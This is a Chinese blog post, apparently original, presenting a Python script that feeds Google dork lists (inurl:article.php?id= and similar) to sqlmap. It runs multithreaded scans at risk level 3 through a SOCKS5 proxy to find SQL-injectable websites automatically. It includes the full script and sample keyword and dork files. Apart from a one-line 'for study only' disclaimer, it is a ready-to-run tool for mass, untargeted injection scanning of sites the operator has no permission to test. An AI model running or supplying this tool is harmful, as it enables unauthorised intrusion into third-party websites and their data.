(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究
注意,本程序仅用于学习和方法研究,不得进行实际使用。
下面的程序是一个Python脚本,用于执行sqlmap命令的多线程批处理工具。以下是对程序的主要特点和功能的介绍:
文件检查和初始化:程序开始时会检查是否存在keywords.txt和type.txt文件。如果这两个文件不存在,程序将输出错误消息并退出。
关键字计数:程序会打开keywords.txt和type.txt文件,计算每个文件中的行数,用于后续的进度跟踪。
多线程处理:程序使用concurrent.futures.ThreadPoolExecutor创建一个线程池,以限制并发线程的数量。这有助于提高程序的效率,避免同时运行太多的sqlmap命令。
执行sqlmap命令:每个线程负责执行一个sqlmap命令。sqlmap命令的具体内容存储在sqlmap_command变量中,可以根据show_sqlmap_output标志来决定是否输出sqlmap命令的结果。如果show_sqlmap_output为True,则会显示命令输出,否则输出将被重定向到/dev/null以隐藏。
进度跟踪:程序使用全局计数器和线程锁来跟踪关键字的处理进度,以便在控制台上显示处理进度信息。
错误处理:程序包含错误处理机制,能够捕获sqlmap命令执行过程中的错误,并输出错误消息。
任务等待:在所有任务提交到线程池后,程序会等待所有任务完成,然后输出"All Works done!"消息表示处理完成。
控制输出:你可以在代码的开头设置show_sqlmap_output为True或False来控制是否输出sqlmap命令的结果。
这个程序允许你批量执行sqlmap命令,根据需要控制是否显示命令的输出,并且通过多线程提高了执行效率。它可以帮助你自动化执行sqlmap扫描任务,并在需要时进行扩展和自定义。
#run.py # -*- coding: utf-8 -*- import os import threading from concurrent.futures import ThreadPoolExecutor import subprocess # 控制是否输出sqlmap命令的标志 show_sqlmap_output = False # 检查是否存在keywords.txt和type.txt文件 if not (os.path.isfile("keywords.txt") and os.path.isfile("type.txt")): print("keywords.txt and type.txt not exist.") exit(1) # 计算关键字总数 with open("keywords.txt", "r") as keywords_file: total_keywords1 = sum(1 for line in keywords_file) with open("type.txt", "r") as type_file: total_keywords2 = sum(1 for line in type_file) # 初始化进度计数器和锁 progress_keywords1 = 0 progress_keywords2 = 0 progress_lock = threading.Lock() # 函数执行sqlmap命令 def execute_sqlmap(keyword1, keyword2): global progress_keywords1, progress_keywords2 try: # 执行sqlmap命令,根据show_sqlmap_output标志来决定是否输出 sqlmap_command = f"sqlmap -g \"{keyword1} {keyword2}\" --proxy \"socks5://192.168.0.167:10516\" --threads 5 --batch --answer \"extending=N,follow=N,keep=N,exploit=N\" --smart --risk 3" if not show_sqlmap_output: sqlmap_command += " > /dev/null 2>&1" subprocess.run(sqlmap_command, shell=True, check=True) # 更新进度计数器 with progress_lock: progress_keywords2 += 1 progress_keywords2 = progress_keywords2 % total_keywords2 print(f"INFO:Words:{progress_keywords1}/{total_keywords1},Type:{progress_keywords2}/{total_keywords2}") except subprocess.CalledProcessError as e: print(f"ERROR: An error occurred for keyword pair ({keyword1}, {keyword2}): {str(e)}") # 创建线程池 thread_pool = ThreadPoolExecutor(max_workers=5) # 控制并发线程数量 # 从keywords.txt中逐行读取关键字1 with open("keywords.txt", "r") as keywords_file: for keyword1 in keywords_file: keyword1 = keyword1.strip() if keyword1: # 增加关键字1的进度 with progress_lock: progress_keywords1 += 1 # 从type.txt中逐行读取关键字2并提交到线程池执行sqlmap命令 with open("type.txt", "r") as type_file: for keyword2 in type_file: keyword2 = keyword2.strip() if keyword2: # 提交任务到线程池 thread_pool.submit(execute_sqlmap, keyword1, keyword2) # 等待所有任务完成 thread_pool.shutdown() print("All Works done!")
keywords.txt
Business Company Corporation Entrepreneur Startup Industry Commerce
type.txt
inurl:aboutbook.php?id= inurl:announce.php?id= inurl:art.php?idm= inurl:article.php?ID= inurl:article.php?id= inurl:artikelinfo.php?id= inurl:avd_start.php?avd= inurl:band_info.php?id=